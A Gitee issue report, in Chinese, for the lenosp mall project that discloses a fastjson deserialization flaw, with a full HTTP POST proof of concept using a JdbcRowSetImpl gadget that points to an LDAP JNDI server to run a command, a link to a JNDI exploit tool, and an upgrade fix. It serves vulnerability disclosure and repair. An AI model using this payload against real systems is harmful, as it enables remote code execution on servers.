反序列化漏洞

已完成

创建于

2024-01-18 17:08

创建了任务

修改了描述

原值

由于系统中使用的fastjson版本过低，导致存在反序列化漏洞：

![漏洞版本](https://foruda.gitee.com/images/1705568830663547755/848e562c_8674532.png "屏幕截图")

漏洞触发点如下：

![触发点](https://foruda.gitee.com/images/1705568848152456846/137c8ab4_8674532.png "屏幕截图")

漏洞POC：

POST /service/model/1/save HTTP/1.1

Host: localhost:8081

Cookie: JSESSIONID=1b7c1461-8732-446c-8426-528ebc8890e2

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 276

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc",

        "autoCommit":true

    }

}

漏洞复现：

案例中使用的JNDI注入工具地址：https://github.com/WhiteHSBG/JNDIExploit

![输入图片说明](https://foruda.gitee.com/images/1705568923600795648/77312938_8674532.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1705568920700698740/b4875ce7_8674532.png "屏幕截图")

新值

由于系统中使用的fastjson版本过低，导致存在反序列化漏洞：

![漏洞版本](https://foruda.gitee.com/images/1705568830663547755/848e562c_8674532.png "屏幕截图")

漏洞触发点如下：

![触发点](https://foruda.gitee.com/images/1705568848152456846/137c8ab4_8674532.png "屏幕截图")

漏洞POC：

POST /service/model/1/save HTTP/1.1

Host: localhost:8081

Cookie: JSESSIONID=1b7c1461-8732-446c-8426-528ebc8890e2

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 276

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc",

        "autoCommit":true

    }

}

漏洞复现：

案例中使用的JNDI注入工具地址：https://github.com/WhiteHSBG/JNDIExploit

![输入图片说明](https://foruda.gitee.com/images/1705568923600795648/77312938_8674532.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1705568920700698740/b4875ce7_8674532.png "屏幕截图")

修复建议：

建议升级到fastjson 1.2.83 或者fastjson2

展开全部操作日志

将任务状态从 待办的 修改为已完成

将负责人设置为一枚码农

登录后才可以发表评论

状态

负责人

里程碑

Pull Requests

关联的 Pull Requests 被合并后可能会关闭此 issue

分支

开始日期 - 截止日期

-

置顶选项

优先级

参与者（2）

Java

1

https://gitee.com/zzdevelop/lenosp.git

git@gitee.com:zzdevelop/lenosp.git

zzdevelop

lenosp

GVP 郑州程序员商城—商城系统/lenosp

内容风险标识

评论 (1)